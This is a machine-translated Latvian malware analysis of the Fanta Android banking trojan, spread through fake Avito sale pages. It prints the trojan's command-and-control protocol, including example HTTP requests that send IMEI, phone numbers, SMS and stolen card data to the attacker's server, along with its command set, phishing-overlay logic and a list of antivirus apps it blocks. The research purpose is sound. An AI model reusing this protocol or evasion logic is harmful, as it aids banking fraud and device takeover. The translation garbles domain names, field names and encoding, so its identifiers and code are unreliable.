Leysya, Fanta: jauna taktika vecam Android Trojas zirgam

Leysya, Fanta: jauna taktika vecam Android Trojas zirgam

Kādu dienu vēlaties kaut ko pārdot vietnē Avito un, ievietojot detalizētu sava produkta aprakstu (piemēram, RAM moduli), saņemsit Ŕādu ziņojumu:

Leysya, Fanta: jauna taktika vecam Android Trojas zirgamAtverot saiti, jÅ«s redzēsit Ŕķietami nekaitÄ«gu lapu, kas informē jÅ«s, laimÄ«go un veiksmÄ«go pārdevēju, ka pirkums ir veikts:

Leysya, Fanta: jauna taktika vecam Android Trojas zirgam
Kad noklikŔķināsit uz pogas Turpināt, jÅ«su Android ierÄ«cē tiks lejupielādēts APK fails ar ikonu un uzticamÄ«bu iedvesmojoÅ”u nosaukumu. JÅ«s instalējāt aplikāciju, kas nez kāpēc pieprasÄ«ja AccessibilityService tiesÄ«bas, tad parādÄ«jās pāris logi un ātri pazuda un... Viss.

JÅ«s dodaties, lai pārbaudÄ«tu savu bilanci, bet kāda iemesla dēļ jÅ«su bankas lietotne atkal pieprasa jÅ«su kartes informāciju. Pēc datu ievadÄ«Å”anas notiek kaut kas Å”ausmÄ«gs: kāda jums joprojām neskaidra iemesla dēļ no jÅ«su konta sāk pazust nauda. JÅ«s mēģināt atrisināt problēmu, bet tālrunis pretojas: tas nospiež taustiņus ā€œAtpakaļā€ un ā€œSākumsā€, neizslēdzas un neļauj aktivizēt nekādus droŔības pasākumus. Rezultātā tu paliec bez naudas, tavas preces nav iegādātas, esi apmulsis un brÄ«nies: kas noticis?

Atbilde ir vienkārŔa: jūs esat kļuvis par Android Trojas zirga Fanta upuri, kas ir Flexnet ģimenes loceklis. Kā tas notika? Paskaidrosim tagad.

Autori: Andrejs Polovinkins, jaunākais speciālists ļaunprātīgas programmatūras analīzē, Ivans Pisarevs, ļaunprātīgas programmatūras analīzes speciālists.

Daži statistikas dati

Android Trojas zirgu Flexnet saime pirmo reizi kļuva zināma 2015. gadā. Diezgan ilga darbÄ«bas laikā Ä£imene paplaÅ”inājās lÄ«dz vairākām pasugām: Fanta, Limebot, Lipton utt. Trojas zirgs, kā arÄ« ar to saistÄ«tā infrastruktÅ«ra nestāv uz vietas: tiek izstrādātas jaunas efektÄ«vas izplatÄ«Å”anas shēmas - mÅ«su gadÄ«jumā augstas kvalitātes pikŔķerÄ“Å”anas lapas, kas paredzētas konkrētam lietotājam-pārdevējam, un Trojas zirgu izstrādātāji seko modes tendencēm vÄ«rusu rakstÄ«Å”ana - jaunas funkcionalitātes pievienoÅ”ana, kas ļauj efektÄ«vāk zagt naudu no inficētām ierÄ«cēm un apiet aizsardzÄ«bas mehānismus.

Å ajā rakstā aprakstÄ«tā kampaņa ir paredzēta lietotājiem no Krievijas, neliels skaits inficēto ierīču reÄ£istrēts Ukrainā, bet vēl mazāks skaits ā€“ Kazahstānā un Baltkrievijā.

Lai gan Flexnet ir Android Trojas arēnā jau vairāk nekā 4 gadus un to ir detalizēti pētÄ«juÅ”i daudzi pētnieki, tas joprojām ir labā formā. Sākot ar 2019. gada janvāri, iespējamais zaudējumu apjoms ir vairāk nekā 35 miljoni rubļu ā€“ un tas attiecas tikai uz kampaņām Krievijā. 2015. gadā pagrÄ«des forumos tika pārdotas dažādas Ŕī Android Trojas zirga versijas, kur varēja atrast arÄ« Trojas zirga pirmkodu ar detalizētu aprakstu. Tas nozÄ«mē, ka postÄ«jumu statistika pasaulē ir vēl iespaidÄ«gāka. Nav slikts rādÄ«tājs tādam vecim, vai ne?

Leysya, Fanta: jauna taktika vecam Android Trojas zirgam

No pārdoŔanas līdz maldināŔanai

Kā redzams no iepriekÅ” uzrādÄ«tā pikŔķerÄ“Å”anas lapas ekrānuzņēmuma interneta pakalpojumam Avito sludinājumu ievietoÅ”anai, tas bija sagatavots konkrētam upurim. AcÄ«mredzot uzbrucēji izmanto vienu no Avito parsētājiem, kas izvelk pārdevēja tālruņa numuru un vārdu, kā arÄ« preces aprakstu. Pēc lapas paplaÅ”ināŔanas un APK faila sagatavoÅ”anas cietuÅ”ajam tiek nosÅ«tÄ«ta SMS ar viņa vārdu un saiti uz pikŔķerÄ“Å”anas lapu, kurā ir viņa preces apraksts un summa, kas saņemta no preces ā€œpārdoÅ”anasā€. NoklikŔķinot uz pogas, lietotājs saņem ļaunprātÄ«gu APK failu - Fanta.

Domēna shcet491[.]ru izpēte parādīja, ka tas ir deleģēts Hostinger DNS serveriem:

  • ns1.hostinger.ru
  • ns2.hostinger.ru
  • ns3.hostinger.ru
  • ns4.hostinger.ru

Domēna zonas failā ir ieraksti, kas norāda uz IP adresēm 31.220.23[.]236, 31.220.23[.]243 un 31.220.23[.]235. Tomēr domēna primārā resursa ieraksts (A ieraksts) norāda uz serveri ar IP adresi 178.132.1[.]240.

IP adrese 178.132.1[.]240 atrodas NÄ«derlandē un pieder mitinātājam WorldStream. IP adreses 31.220.23[.]235, 31.220.23[.]236 un 31.220.23[.]243 atrodas Apvienotajā Karalistē un pieder dalÄ«tā mitināŔanas serverim HOSTINGER. Lietots kā ierakstÄ«tājs openprov-ru. Uz IP adreses 178.132.1[.]240 tika atdalÄ«ti arÄ« Ŕādi domēni:

  • sdelka-ru[.]ru
  • tovar-av[.]ru
  • av-tovar[.]ru
  • ru-sdelka[.]ru
  • shcet382[.]ru
  • sdelka221[.]ru
  • sdelka211[.]ru
  • vyplata437[.]ru
  • viplata291[.]ru
  • perevod273[.]ru
  • perevod901[.]ru

JāatzÄ«mē, ka saites Ŕādā formātā bija pieejamas gandrÄ«z visos domēnos:

http://(www.){0,1}<%domain%>/[0-9]{7}

Å ajā veidnē ir iekļauta arÄ« saite no Ä«sziņas. Pamatojoties uz vēsturiskajiem datiem, tika konstatēts, ka viens domēns atbilst vairākām saitēm iepriekÅ” aprakstÄ«tajā shēmā, kas norāda, ka viens domēns tika izmantots Trojas zirga izplatÄ«Å”anai vairākiem upuriem.

Palēksim nedaudz uz priekÅ”u: Trojas zirgs, kas lejupielādēts, izmantojot saiti no SMS, izmanto adresi kā vadÄ«bas serveri onusedseddohap[.]klubs. Å is domēns tika reÄ£istrēts 2019-03-12, un, sākot ar 2019-04-29, APK lietojumprogrammas mijiedarbojās ar Å”o domēnu. Pamatojoties uz datiem, kas iegÅ«ti no VirusTotal, kopā ar Å”o serveri mijiedarbojās 109 lietojumprogrammas. Pats domēns tika atrisināts lÄ«dz IP adresei 217.23.14[.]27, kas atrodas NÄ«derlandē un pieder saimniekam WorldStream. Lietots kā ierakstÄ«tājs vārda lēta. Uz Å”o IP adresi tika atrisināti arÄ« domēni bad-racoon[.]klubs (sākot no 2018-09-25) un bad-racoon[.]tieÅ”raidē (sākot no 2018-10-25). Ar domēnu bad-racoon[.]klubs ar vairāk nekā 80 APK failiem bad-racoon[.]tieÅ”raidē - vairāk nekā 100.

Kopumā uzbrukums attīstās Ŕādi:

Leysya, Fanta: jauna taktika vecam Android Trojas zirgam

Kas ir zem Fantas vāka?

Tāpat kā daudzi citi Android Trojas zirgi, Fanta spēj lasÄ«t un sÅ«tÄ«t Ä«sziņas, veikt USSD pieprasÄ«jumus un parādÄ«t savus logus virs lietojumprogrammām (tostarp banku programmām). Tomēr Ŕīs Ä£imenes funkcionalitātes arsenāls ir pienācis: Fanta sāka lietot PieejamÄ«bas pakalpojums dažādiem mērÄ·iem: citu lietojumprogrammu paziņojumu satura lasÄ«Å”anai, Trojas zirga atklāŔanas un darbÄ«bas apturÄ“Å”anas novērÅ”anai inficētā ierÄ«cē utt. Fanta darbojas visās Android versijās, kas nav jaunākas par 4.4. Å ajā rakstā mēs sÄ«kāk aplÅ«kosim Ŕādu Fanta paraugu:

  • MD5: 0826bd11b2c130c4c8ac137e395ac2d4
  • SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
  • SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

Uzreiz pēc palaiÅ”anas

TÅ«lÄ«t pēc palaiÅ”anas Trojas zirgs paslēpj savu ikonu. Lietojumprogramma var darboties tikai tad, ja inficētās ierÄ«ces nosaukums nav sarakstā:

  • android_x86
  • VirtualBox
  • Nexus 5X (bults)
  • Nexus 5 (žilete)

Å Ä« pārbaude tiek veikta Trojas zirga galvenajā pakalpojumā - GalvenaisService. Palaižot pirmo reizi, lietojumprogrammas konfigurācijas parametri tiek inicializēti uz noklusējuma vērtÄ«bām (konfigurācijas datu glabāŔanas formāts un to nozÄ«me tiks apspriesta vēlāk), un vadÄ«bas serverÄ« tiek reÄ£istrēta jauna inficēta ierÄ«ce. Serverim tiks nosÅ«tÄ«ts HTTP POST pieprasÄ«jums ar ziņojuma veidu register_bot un informācija par inficēto ierÄ«ci (Android versija, IMEI, tālruņa numurs, operatora nosaukums un valsts kods, kurā operators ir reÄ£istrēts). Adrese kalpo kā vadÄ«bas serveris hXXp://onuseseddohap[.]club/controller.php. Atbildot uz to, serveris nosÅ«ta ziņojumu ar laukiem bot_id, bot_pwd, serveris ā€” lietojumprogramma saglabā Ŕīs vērtÄ«bas kā CnC servera parametrus. Parametrs serveris neobligāti, ja lauks nav saņemts: Fanta izmanto reÄ£istrācijas adresi - hXXp://onuseseddohap[.]club/controller.php. CnC adreses maiņas funkciju var izmantot, lai atrisinātu divas problēmas: vienmērÄ«gi sadalÄ«t slodzi starp vairākiem serveriem (ja ir liels inficēto ierīču skaits, neoptimizēta tÄ«mekļa servera slodze var bÅ«t augsta), kā arÄ« izmantot alternatÄ«vs serveris kāda no CnC serveriem atteices gadÄ«jumā.

Ja pieprasÄ«juma nosÅ«tÄ«Å”anas laikā rodas kļūda, Trojas zirgs atkārtos reÄ£istrācijas procesu pēc 20 sekundēm.

Kad ierÄ«ce ir veiksmÄ«gi reÄ£istrēta, Fanta lietotājam parādÄ«s Ŕādu ziņojumu:

Leysya, Fanta: jauna taktika vecam Android Trojas zirgam
SvarÄ«ga piezÄ«me: dienests zvanÄ«ja Sistēmas droŔība ā€” Trojas pakalpojuma nosaukums un pēc noklikŔķināŔanas uz pogas ŠžŠš Tiks atvērts logs ar inficētās ierÄ«ces pieejamÄ«bas iestatÄ«jumiem, kurā lietotājam ir jāpieŔķir piekļuves tiesÄ«bas ļaunprātÄ«gajam pakalpojumam:

Leysya, Fanta: jauna taktika vecam Android Trojas zirgam
Tiklīdz lietotājs ieslēdzas Pieejamības pakalpojums, Fanta iegūst piekļuvi lietojumprogrammu logu saturam un tajos veiktajām darbībām:

Leysya, Fanta: jauna taktika vecam Android Trojas zirgam
TÅ«lÄ«t pēc pieejamÄ«bas tiesÄ«bu saņemÅ”anas Trojas zirgs pieprasa administratora tiesÄ«bas un tiesÄ«bas lasÄ«t paziņojumus:

Leysya, Fanta: jauna taktika vecam Android Trojas zirgam
Izmantojot AccessibilityService, lietojumprogramma simulē taustiņsitienus, tādējādi pieŔķirot sev visas nepiecieÅ”amās tiesÄ«bas.

Fanta izveido vairākus datu bāzes gadÄ«jumus (kas tiks aprakstÄ«ti vēlāk), kas nepiecieÅ”ami, lai saglabātu konfigurācijas datus, kā arÄ« procesā savākto informāciju par inficēto ierÄ«ci. Lai nosÅ«tÄ«tu savākto informāciju, Trojas zirgs izveido atkārtotu uzdevumu, kas paredzēts, lai lejupielādētu laukus no datu bāzes un saņemtu komandu no vadÄ«bas servera. Intervāls piekļuvei CnC tiek iestatÄ«ts atkarÄ«bā no Android versijas: 5.1 gadÄ«jumā intervāls bÅ«s 10 sekundes, pretējā gadÄ«jumā 60 sekundes.

Lai saņemtu komandu, Fanta izdara pieprasÄ«jumu GetTask uz pārvaldÄ«bas serveri. Atbildot uz to, CnC var nosÅ«tÄ«t vienu no Ŕīm komandām:

Komanda Apraksts
0 Sūtīt SMS ziņu
1 Veiciet tālruņa zvanu vai USSD komandu
2 Atjaunina parametru intervāls
3 Atjaunina parametru krustoŔanās
6 Atjaunina parametru sms Manager
9 Sāciet Ä«sziņu apkopoÅ”anu
11 Atiestatiet tālruni uz rūpnīcas iestatījumiem
12 Iespējot/atspējot dialoglodziņa izveides reÄ£istrÄ“Å”anu

Fanta arī apkopo paziņojumus no 70 banku lietotnēm, ātro maksājumu sistēmām un e-makiem un glabā tos datu bāzē.

Konfigurācijas parametru saglabāŔana

Lai saglabātu konfigurācijas parametrus, Fanta izmanto standarta pieeju Android platformai - preferences- faili. Iestatījumi tiks saglabāti failā ar nosaukumu iestatījumi. Saglabāto parametru apraksts ir zemāk esoŔajā tabulā.

Vārds Noklusējuma vērtība Iespējamās vērtības Apraksts
id 0 Vesels skaitlis Bota ID
serveris hXXp://onuseseddohap[.]club/ URL Kontrolējiet servera adresi
pwd Sākot no Rinda Servera parole
intervāls 20 Vesels skaitlis Laika intervāls. Norāda, uz cik ilgu laiku jāatliek Ŕādi uzdevumi:

  • NosÅ«tot pieprasÄ«jumu par nosÅ«tÄ«tās SMS ziņas statusu
  • Jaunas komandas saņemÅ”ana no pārvaldÄ«bas servera

krustoÅ”anās visi visi/telNumber Ja lauks ir vienāds ar virkni visi vai telNumber, tad saņemtā SMS ziņa tiks pārtverta lietojumprogrammā un netiks rādÄ«ta lietotājam
sms Manager 0 0/1 Iespējot/atspējot lietojumprogrammu kā noklusējuma SMS adresātu
lasÄ«t dialoglodziņu nepatiess Patiess/nepatiess Iespējot/atspējot notikumu reÄ£istrÄ“Å”anu PieejamÄ«bas pasākums

Fanta arī izmanto failu sms Manager:

Vārds Noklusējuma vērtība Iespējamās vērtības Apraksts
pckg Sākot no Rinda Izmantotā īsziņu pārvaldnieka nosaukums

Mijiedarbība ar datu bāzēm

Savas darbÄ«bas laikā Trojas zirgs izmanto divas datu bāzes. Datu bāze nosaukta a izmanto, lai saglabātu dažādu informāciju, kas savākta no tālruņa. Otrā datu bāze ir nosaukta fanta.db un tiek izmantots, lai saglabātu iestatÄ«jumus, kas ir atbildÄ«gi par pikŔķerÄ“Å”anas logu izveidi, kas paredzēti informācijas apkopoÅ”anai par bankas kartēm.

Trojas zirgs izmanto datu bāzi Š° lai saglabātu savākto informāciju un reÄ£istrētu savas darbÄ«bas. Dati tiek glabāti tabulā žurnāli. Lai izveidotu tabulu, izmantojiet Ŕādu SQL vaicājumu:

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

Datu bāzē ir Ŕāda informācija:

1. Inficētās ierÄ«ces palaiÅ”anas reÄ£istrÄ“Å”ana ar ziņojumu Telefons ieslēdzās!

2. Paziņojumi no lietojumprogrammām. Ziņojums tiek Ä£enerēts saskaņā ar Ŕādu veidni:

(<%App Name%>)<%Title%>: <%Notification text%>

3. Bankas karÅ”u dati no Trojas zirga izveidotajām pikŔķerÄ“Å”anas formām. Parametrs VIEW_NAME var bÅ«t viens no Å”iem:

  • AliExpress
  • Avito
  • Google Play
  • Dažādi <%App Name%>

Ziņojums tiek reÄ£istrēts Ŕādā formātā:

[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) ŠŠ¾Š¼ŠµŃ€ ŠŗŠ°Ń€Ń‚Ń‹:<%CARD_NUMBER%>; Š”Š°Ń‚Š°:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>

4. IenākoŔās/izejoŔās SMS ziņas Ŕādā formātā:

([<%Time in format HH:mm:ss dd.MM.yyyy%>] Š¢ŠøŠæ: Š’Ń…Š¾Š“ящŠµŠµ/Š˜ŃŃ…Š¾Š“ящŠµŠµ) <%Mobile number%>:<%SMS-text%>

5. Informācija par pakotni, kas izveido dialoglodziņu Ŕādā formātā:

(<%Package name%>)<%Package information%>

Tabulas piemērs žurnāli:

Leysya, Fanta: jauna taktika vecam Android Trojas zirgam
Viena no Fantas funkcionalitātēm ir informācijas vākÅ”ana par bankas kartēm. Datu apkopoÅ”ana notiek, izveidojot pikŔķerÄ“Å”anas logus, atverot bankas lietojumprogrammas. Trojas zirgs pikŔķerÄ“Å”anas logu izveido tikai vienu reizi. Informācija, ka logs tika parādÄ«ts lietotājam, tiek saglabāta tabulā iestatÄ«jumi datu bāzē fanta.db. Lai izveidotu datu bāzi, izmantojiet Ŕādu SQL vaicājumu:

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

Visi tabulas lauki iestatÄ«jumi pēc noklusējuma inicializēts uz 1 (izveidojiet pikŔķerÄ“Å”anas logu). Pēc tam, kad lietotājs ievadÄ«s savus datus, vērtÄ«ba tiks iestatÄ«ta uz 0. Tabulas lauku piemērs iestatÄ«jumi:

  • can_login ā€” lauks ir atbildÄ«gs par veidlapas attēloÅ”anu, atverot bankas pieteikumu
  • pirmā_banka - nav izmantots
  • can_avito ā€” lauks ir atbildÄ«gs par veidlapas parādÄ«Å”anu, atverot Avito lietojumprogrammu
  • can_ali ā€” lauks ir atbildÄ«gs par veidlapas parādÄ«Å”anu, atverot lietojumprogrammu Aliexpress
  • var_cits ā€” lauks ir atbildÄ«gs par veidlapas parādÄ«Å”anu, atverot jebkuru pieteikumu no saraksta: Yula, Pandao, Drom Auto, Wallet. Atlaižu un bonusu kartes, Aviasales, RezervÄ“Å”ana, Trivago
  • can_card ā€” lauks ir atbildÄ«gs par veidlapas parādÄ«Å”anu atverot Google Play

Mijiedarbība ar pārvaldības serveri

TÄ«kla mijiedarbÄ«ba ar pārvaldÄ«bas serveri notiek, izmantojot HTTP protokolu. Lai strādātu ar tÄ«klu, Fanta izmanto populāro Retrofit bibliotēku. PieprasÄ«jumi tiek sÅ«tÄ«ti uz: hXXp://onuseseddohap[.]club/controller.php. Servera adresi var mainÄ«t, reÄ£istrējoties serverÄ«. SÄ«kfaili var tikt nosÅ«tÄ«ti kā atbilde no servera. Fanta serverim veic Ŕādus pieprasÄ«jumus:

  • Bota reÄ£istrācija vadÄ«bas serverÄ« notiek vienreiz, pēc pirmās palaiÅ”anas. Uz serveri tiek nosÅ«tÄ«ti Ŕādi dati par inficēto ierÄ«ci:
    Ā· Cepums ā€” no servera saņemtie sÄ«kfaili (noklusējuma vērtÄ«ba ir tukÅ”a virkne)
    Ā· mode ā€” virknes konstante register_bot
    Ā· priedēklis ā€” veselu skaitļu konstante 2
    Ā· version_sdk ā€” tiek veidots pēc Ŕādas veidnes: <%Build.MODEL%>/<%Build.VERSION.RELEASE%> (Avit)
    Ā· imei ā€” inficētās ierÄ«ces IMEI
    Ā· valsts ā€” tās valsts kods, kurā operators reÄ£istrēts, ISO formātā
    Ā· skaits - telefona numurs
    Ā· operators ā€” operatora nosaukums

    Serverim nosūtīta pieprasījuma piemērs:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 144
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
    

    Atbildot uz pieprasījumu, serverim ir jāatgriež JSON objekts, kurā ir Ŕādi parametri:
    Ā· bot_id ā€” inficētās ierÄ«ces ID. Ja bot_id ir vienāds ar 0, Fanta atkārtoti izpildÄ«s pieprasÄ«jumu.
    bot_pwd ā€” servera parole.
    serveris ā€” kontrolēt servera adresi. Izvēles parametrs. Ja parametrs nav norādÄ«ts, tiks izmantota lietojumprogrammā saglabātā adrese.

    JSON objekta piemērs:

    {
        "response":[
       	 {
       		 "bot_id": <%BOT_ID%>,
       		 "bot_pwd": <%BOT_PWD%>,
       		 "server": <%SERVER%>
       	 }
        ],
        "status":"ok"
    }

  • PieprasÄ«jums saņemt komandu no servera. Uz serveri tiek nosÅ«tÄ«ti Ŕādi dati:
    Ā· Cepums ā€” no servera saņemtās sÄ«kdatnes
    Ā· pieteikums ā€” inficētās ierÄ«ces ID, kas tika saņemts, nosÅ«tot pieprasÄ«jumu register_bot
    Ā· pwd ā€” servera parole
    Ā· divice_admin ā€” lauks nosaka, vai ir iegÅ«tas administratora tiesÄ«bas. Ja ir iegÅ«tas administratora tiesÄ«bas, lauks ir vienāds ar 1citādi 0
    Ā· PieejamÄ«ba ā€” PieejamÄ«bas pakalpojuma darbÄ«bas statuss. Ja pakalpojums tika palaists, vērtÄ«ba ir 1citādi 0
    Ā· SMS pārvaldnieks ā€” parāda, vai Trojas zirgs ir iespējots kā noklusējuma lietojumprogramma SMS saņemÅ”anai
    Ā· ekrāns ā€” parāda, kādā stāvoklÄ« atrodas ekrāns. Tiks iestatÄ«ta vērtÄ«ba 1, ja ekrāns ir ieslēgts, pretējā gadÄ«jumā 0;

    Serverim nosūtīta pieprasījuma piemērs:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>

    Atkarībā no komandas serveris var atgriezt JSON objektu ar dažādiem parametriem:

    Ā· Komanda SÅ«tÄ«t SMS ziņu: parametri satur tālruņa numuru, SMS ziņas tekstu un sÅ«tāmās ziņas ID. Identifikators tiek izmantots, sÅ«tot ziņojumu serverim ar veidu setSmsStatus.

    {
        "response":
        [
       	 {
       		 "mode": 0,
       		 "sms_number": <%SMS_NUMBER%>,
       		 "sms_text": <%SMS_TEXT%>,
       		 "sms_id": %SMS_ID%
       	 }
        ],
        "status":"ok"
    }

    Ā· Komanda Veiciet tālruņa zvanu vai USSD komandu: tālruņa numurs vai komanda tiek parādÄ«ta atbildes pamattekstā.

    {
        "response":
        [
       	 {
       		 "mode": 1,
       		 "command": <%TEL_NUMBER%>
       	 }
        ],
        "status":"ok"
    }

    Ā· Komanda MainÄ«t intervāla parametru.

    {
        "response":
        [
       	 {
       		 "mode": 2,
       		 "interval": <%SECONDS%>
       	 }
        ],
        "status":"ok"
    }

    Ā· Komanda MainÄ«t pārtverÅ”anas parametru.

    {
        "response":
        [
       	 {
       		 "mode": 3,
       		 "intercept": "all"/"telNumber"/<%ANY_STRING%>
       	 }
        ],
        "status":"ok"
    }

    Ā· Komanda Mainiet lauku SmsManager.

    {
        "response":
        [
       	 {
       		 "mode": 6,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

    Ā· Komanda Savāc SMS ziņas no inficētas ierÄ«ces.

    {
        "response":
        [
       	 {
       		 "mode": 9
       	 }
        ],
        "status":"ok"
    }

    Ā· Komanda Atiestatiet tālruni uz rÅ«pnÄ«cas iestatÄ«jumiem:

    {
        "response":
        [
       	 {
       		 "mode": 11
       	 }
        ],
        "status":"ok"
    }

    Ā· Komanda Mainiet ReadDialog parametru.

    {
        "response":
        [
       	 {
       		 "mode": 12,
       		 "enable": 0/1
       	 }
        ],
        "status":"ok"
    }

  • Ziņas sÅ«tÄ«Å”ana ar veidu setSmsStatus. Å is pieprasÄ«jums tiek veikts pēc komandas izpildes SÅ«tÄ«t SMS ziņu. PieprasÄ«jums izskatās Ŕādi:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

  • Datu bāzes satura augÅ”upielāde. Katram pieprasÄ«jumam tiek pārsÅ«tÄ«ta viena rinda. Uz serveri tiek nosÅ«tÄ«ti Ŕādi dati:
    Ā· Cepums ā€” no servera saņemtās sÄ«kdatnes
    Ā· mode ā€” virknes konstante setSaveInboxSms
    Ā· pieteikums ā€” inficētās ierÄ«ces ID, kas tika saņemts, nosÅ«tot pieprasÄ«jumu register_bot
    Ā· teksts ā€” teksts paÅ”reizējā datu bāzes ierakstā (lauks d no galda žurnāli datu bāzē Š°)
    Ā· skaits ā€” paÅ”reizējā datu bāzes ieraksta nosaukums (lauks p no galda žurnāli datu bāzē Š°)
    Ā· sms_mode ā€” vesela skaitļa vērtÄ«ba (lauks m no galda žurnāli datu bāzē Š°)

    Pieprasījums izskatās Ŕādi:

    POST /controller.php HTTP/1.1
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Host: onuseseddohap.club
    Connection: close
    Accept-Encoding: gzip, deflate
    User-Agent: okhttp/3.6.0
    
    mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>

    Ja tā ir veiksmīgi nosūtīta uz serveri, rinda tiks dzēsta no tabulas. Servera atgrieztā JSON objekta piemērs:

    {
        "response":[],
        "status":"ok"
    }

Mijiedarbība ar AccessibilityService

AccessibilityService tika ieviests, lai padarÄ«tu Android ierÄ«ces vieglāk lietojamas cilvēkiem ar invaliditāti. Vairumā gadÄ«jumu, lai mijiedarbotos ar lietojumprogrammu, ir nepiecieÅ”ama fiziska mijiedarbÄ«ba. AccessibilityService ļauj tos veikt programmatiski. Fanta izmanto pakalpojumu, lai izveidotu viltus logus banku lietojumprogrammās un neļautu lietotājiem atvērt sistēmas iestatÄ«jumus un dažas lietojumprogrammas.

Izmantojot AccessibilityService funkcionalitāti, Trojas zirgs uzrauga inficētās ierÄ«ces ekrāna elementu izmaiņas. Kā aprakstÄ«ts iepriekÅ”, Fanta iestatÄ«jumos ir parametrs, kas ir atbildÄ«gs par reÄ£istrÄ“Å”anas darbÄ«bām ar dialoglodziņiem - lasÄ«t dialoglodziņu. Ja Å”is parametrs ir iestatÄ«ts, datu bāzei tiks pievienota informācija par pakotnes nosaukumu un aprakstu, kas izraisÄ«ja notikumu. Trojas zirgs veic Ŕādas darbÄ«bas, kad tiek aktivizēti notikumi:

  • Imitē atpakaļ un sākuma taustiņu nospieÅ”anu Ŕādos gadÄ«jumos:
    Ā· ja lietotājs vēlas pārstartēt savu ierÄ«ci
    Ā· ja lietotājs vēlas dzēst lietojumprogrammu ā€œAvitoā€ vai mainÄ«t piekļuves tiesÄ«bas
    Ā· ja lapā ir pieminēta lietojumprogramma ā€œAvitoā€.
    Ā· atverot lietojumprogrammu Google Play Protect
    Ā· atverot lapas ar AccessibilityService iestatÄ«jumiem
    Ā· kad tiek parādÄ«ts dialoglodziņŔ Sistēmas droŔība
    Ā· atverot lapu ar iestatÄ«jumiem ā€œZÄ«mēt pār citu lietotniā€.
    Ā· atverot lapu ā€œLietojumprogrammasā€, ā€œAtkopÅ”ana un atiestatÄ«Å”anaā€, ā€œDatu atiestatÄ«Å”anaā€, ā€œAtiestatÄ«t iestatÄ«jumusā€, ā€œIzstrādātāja panelisā€, ā€œÄŖpaÅ”ais. iespējasā€, ā€œÄŖpaÅ”as iespējasā€, ā€œÄŖpaÅ”as tiesÄ«basā€
    Ā· ja notikumu Ä£enerēja noteiktas lietojumprogrammas.

    Lietojumprogrammu saraksts

    • android
    • Master Lite
    • Clean Master
    • Clean Master x86 CPU
    • Meizu lietojumprogrammu atļauju pārvaldÄ«ba
    • MIUI droŔība
    • Clean Master ā€” pretvÄ«rusu un keÅ”atmiņas un atkritumu tÄ«rÄ«tājs
    • Vecāku kontrole un GPS: Kaspersky SafeKids
    • Kaspersky Antivirus AppLock un tÄ«mekļa droŔības beta versija
    • VÄ«rusu tÄ«rÄ«tājs, pretvÄ«rusu lÄ«dzeklis, tÄ«rÄ«tājs (MAX Security)
    • Mobile AntiVirus Security PRO
    • Avast antivÄ«russ un bezmaksas aizsardzÄ«ba 2019
    • Mobilā droŔība MegaFon
    • AVG aizsardzÄ«ba Xperia
    • Mobilā droŔība
    • Malwarebytes antivÄ«russ un aizsardzÄ«ba
    • AntivÄ«russ operētājsistēmai Android 2019
    • DroŔības meistars - antivÄ«russ, VPN, AppLock, pastiprinātājs
    • AVG antivÄ«russ Huawei planÅ”etdatora sistēmas pārvaldniekam
    • Samsung pieejamÄ«ba
    • Samsung Smart Manager
    • DroŔības meistars
    • Ātruma pastiprinātājs
    • Dr.Web
    • Dr.Web droŔības telpa
    • Dr.Web mobilais vadÄ«bas centrs
    • Dr.Web Security Space Life
    • Dr.Web mobilais vadÄ«bas centrs
    • AntivÄ«rusu un mobilā droŔība
    • Kaspersky Internet Security: AntivÄ«russ un aizsardzÄ«ba
    • Kaspersky akumulatora darbÄ«bas laiks: taupÄ«tājs un pastiprinātājs
    • Kaspersky Endpoint Security ā€” aizsardzÄ«ba un pārvaldÄ«ba
    • AVG Antivirus free 2019 - Android aizsardzÄ«ba
    • android antivÄ«russ
    • Norton Mobile Security un Antivirus
    • AntivÄ«russ, ugunsmÅ«ris, VPN, mobilā droŔība
    • Mobilā droŔība: antivÄ«russ, VPN, aizsardzÄ«ba pret zādzÄ«bām
    • AntivÄ«russ operētājsistēmai Android

  • Ja atļauja tiek pieprasÄ«ta, sÅ«tot SMS Ä«sziņu uz Ä«so numuru, Fanta simulē noklikŔķināŔanu uz izvēles rÅ«tiņas Atcerieties izvēli un pogu sÅ«tÄ«t.
  • Mēģinot atņemt Trojas zirgam administratora tiesÄ«bas, tas bloķē tālruņa ekrānu.
  • Neļauj pievienot jaunus administratorus.
  • Ja pretvÄ«rusu lietojumprogramma dr.web atklāja draudus, Fanta atdarina pogas nospieÅ”anu ignorēt.
  • Trojas zirgs simulē pogas Atpakaļ un Sākums nospieÅ”anu, ja notikumu Ä£enerēja lietojumprogramma Samsung ierīču kopÅ”ana.
